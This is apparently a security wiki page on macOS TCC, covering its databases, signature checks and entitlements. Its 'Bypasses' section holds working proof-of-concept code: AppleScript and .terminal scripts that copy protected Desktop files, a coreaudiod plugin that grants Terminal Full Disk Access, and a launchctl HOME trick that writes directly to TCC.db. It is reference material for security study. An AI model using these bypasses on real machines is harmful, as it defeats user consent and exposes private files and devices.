# macOS TCC
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## **Basic Information** **TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. From a user’s perspective, they see TCC in action **when an application wants access to one of the features protected by TCC**. When this happens the **user is prompted** with a dialog asking them whether they want to allow access or not. It's also possible to **grant apps access** to files by **explicit intents** from users for example when a user **drags\&drop a file into a program** (obviously the program should have access to it). ![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) **TCC** is handled by the **daemon** located in `/System/Library/PrivateFrameworks/TCC.framework/Resources/tccd`configured in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registering the mach service `com.apple.tccd.system`). There is a **user-mode tccd** running per logged in user defined in `/System/Library/LaunchAgents/com.apple.tccd.plist` registering the mach services `com.apple.tccd` and `com.apple.usernotifications.delegate.com.apple.tccd`. Permissions are **inherited from the parent** application and the **permissions** are **tracked** based on the **Bundle ID** and the **Developer ID**. ### TCC Database The selections is then stored in the TCC system-wide database in **`/Library/Application Support/com.apple.TCC/TCC.db`** or in **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** for per-user preferences. The database is **protected from editing with SIP**(System Integrity Protection), but you can read them by granting **full disk access**. {% hint style="info" %} The **notification center UI** can make **changes in the system TCC database**: {% code overflow="wrap" %} ```bash codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd [..] com.apple.private.tcc.manager com.apple.rootless.storage.TCC ``` {% endcode %} However, users can **delete or query rules** with the **`tccutil`** command line utility. {% endhint %} {% tabs %} {% tab title="user DB" %} ```bash sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {% endtab %} {% tab title="system DB" %} ```bash sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {% endtab %} {% endtabs %} {% hint style="success" %} Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it). {% endhint %} * The **`auth_value`** can have different values: denied(0), unknown(1), allowed(2), or limited(3). * The **`auth_reason`** can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) * For more information about the **other fields** of the table [**check this blog post**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). {% hint style="info" %} Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this [**list of known ones**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service). {% endhint %} You could also check **already given permissions** to apps in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`. ### TCC Signature Checks The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **information** about the **signature** to **make sure** the App asking to use the a permission is the correct one. {% code overflow="wrap" %} ```bash # From sqlite sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram"; #Get csreq # From bash echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin ## Get signature checks csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` {% endcode %} ### Entitlements Apps **don't only need** to **request** and have been **granted access** to some resources, they also need to **have the relevant entitlements**.\ For example **Telegram** has the entitlement `com.apple.security.device.camera` to request **access to the camera**. An **app** that **doesn't** have this **entitlement won't be able** to access the camera (and the user won't be be even asked for the permissions). However, for apps to **access** to **certain user folders**, such as `~/Desktop`, `~/Downloads` and `~/Documents`, they **don't need** to have any specific **entitlements.** The system will transparently handle access and **prompt the user** as needed. Apple's apps **won’t generate prompts**. They contain **pre-granted rights** in their **entitlements** list, meaning they will **never generate a popup**, **nor** they will show up in any of the **TCC databases.** For example: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] com.apple.private.tcc.allow kTCCServiceReminders kTCCServiceCalendar kTCCServiceAddressBook ``` This will avoid Calendar ask the user to access reminders, calendar and the address book. ### Sensitive unprotected places * $HOME (itself) * $HOME/.ssh, $HOME/.aws, etc * /tmp ### User Intent / com.apple.macl As mentioned previously, it possible to **grant access to an App to a file by drag\&dropping it to it**. This access won't be specified in any TCC database but as an **extended** **attribute of the file**. This attribute will **store the UUID** of the allowed app: ```bash xattr Desktop/private.txt com.apple.macl # Check extra access to the file ## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command macl_read Desktop/private.txt Filename,Header,App UUID "Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3 # Get the UUID of the app otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` {% hint style="info" %} It's curious that the **`com.apple.macl`** attribute is managed by the **Sandbox**, not tccd {% endhint %} The extended attribute `com.apple.macl` **can’t be cleared** like other extended attributes because it’s **protected by SIP**. However, as [**explained in this post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), it's possible to disable it **zipping** the file, **deleting** it and **unzipping** it. ## Bypasses ### Write Bypass This is not a bypass, it's just how TCC works: **It doesn't protect from writing**. If Terminal **doesn't have access to read the Desktop of a user it can still write into it**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % echo asd > Desktop/lalala username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` The **extended attribute `com.apple.macl`** is added to the new **file** to give the **creators app** access to read it. ### SSH Bypass By default an access via **SSH** will have **"Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges): ![](<../../../../.gitbook/assets/image (569).png>) Here you can find examples of how some **malwares have been able to bypass this protection**: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) ### Electron Bypass The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions. Electron is working on **`ElectronAsarIntegrity`** key in Info.plist that will contain a hash of the app.asar file to check the integrity of the JS code before executing it. ### Terminal Scripts It's quiet common to give terminal **Full Disk Access (FDA)**, at least in computers used by tech people. And it's possible to invoke **`.terminal`** scripts using with it. **`.terminal`** scripts are plist files such as this one with the command to execute in the **`CommandString`** key: ```xml CommandString cp ~/Desktop/private.txt /tmp/; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings ``` An application could write a terminal script in a location such as /tmp and launch it with a come such as: ```objectivec // Write plist in /tmp/tcc.terminal [...] NSTask *task = [[NSTask alloc] init]; NSString * exploit_location = @"/tmp/tcc.terminal"; task.launchPath = @"/usr/bin/open"; task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` ### kTCCServiceAppleEvents / Automation An app with the **`kTCCServiceAppleEvents`** permission will be able to **control other Apps**. This means that it could be able to **abuse the permissions granted to the other Apps**. For more info about Apple Scripts check: {% content-ref url="macos-apple-scripts.md" %} [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} For example, if an App has **Automation permission over `iTerm`**, for example in this example **`Terminal`** has access over iTerm:
#### Over iTerm Terminal, who doesn't have FDA, can call iTerm, which has it, and use it to perform actions: {% code title="iterm.script" %} ```applescript tell application "iTerm" activate tell current window create tab with default profile end tell tell current session of current window write text "cp ~/Desktop/private.txt /tmp" end tell end tell ``` {% endcode %} ```bash osascript iterm.script ``` #### Over Finder Or if an App has access over Finder, it could a script such as this one: ```applescript set a_user to do shell script "logname" tell application "Finder" set desc to path to home folder set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` ### Process Abuse I you manage to **inject code in a process** you will be able to abuse the TCC permissions of that process. Check process abuse techniques in the following page: {% content-ref url="../../macos-proces-abuse/" %} [macos-proces-abuse](../../macos-proces-abuse/) {% endcontent-ref %} See some examples in the following sections: ### CVE-2020-29621 - Coreaudiod The binary **`/usr/sbin/coreaudiod`** had the entitlements `com.apple.security.cs.disable-library-validation` and `com.apple.private.tcc.manager`. The first **allowing code injection** and second one giving it access to **manage TCC**. This binary allowed to load **third party plug-ins** from the folder `/Library/Audio/Plug-Ins/HAL`. Therefore, it was possible to **load a plugin and abuse the TCC permissions** with this PoC: ```objectivec #import #import extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess); void add_tcc_entry() { CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles"); CFStringRef bundleID = CFSTR("com.apple.Terminal"); CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple"); SecRequirementRef requirement = NULL; SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement); CFDataRef requirementData = NULL; SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData); TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue); } __attribute__((constructor)) static void constructor(int argc, const char **argv) { add_tcc_entry(); NSLog(@"[+] Exploitation finished..."); exit(0); ``` ### CVE-2020–9934 - TCC The userland **tccd daemon** what using the **`HOME`** **env** variable to access the TCC users database from: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** According to [this Stack Exchange post](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) and because the TCC daemon is running via `launchd` within the current user’s domain, it's possible to **control all environment variables** passed to it.\ Thus, an **attacker could set `$HOME` environment** variable in **`launchctl`** to point to a **controlled** **directory**, **restart** the **TCC** daemon, and then **directly modify the TCC database** to give itself **every TCC entitlement available** without ever prompting the end user.\ PoC: ```bash # reset database just in case (no cheating!) $> tccutil reset All # mimic TCC's directory structure from ~/Library $> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC" # cd into the new directory $> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory $> launchctl setenv HOME /tmp/tccbypass # restart the TCC daemon $> launchctl stop com.apple.tccd && launchctl start com.apple.tccd # print out contents of TCC database and then give Terminal access to Documents $> sqlite3 TCC.db .dump $> sqlite3 TCC.db "INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder', 'com.apple.Terminal', 0, 1, 1, X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, NULL, 1333333333333337);" # list Documents directory without prompting the end user $> ls ~/Documents ``` ### CVE-2023-26818 - Telegram Telegram had the entitlements `com.apple.security.cs.allow-dyld-environment-variables` and c`om.apple.security.cs.disable-library-validation`, so it was possible to abuse it to **get access to its permissions** such recording with the camera. You can [**find the payload in the writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). ## References * [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) * [**https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) * [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) * [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
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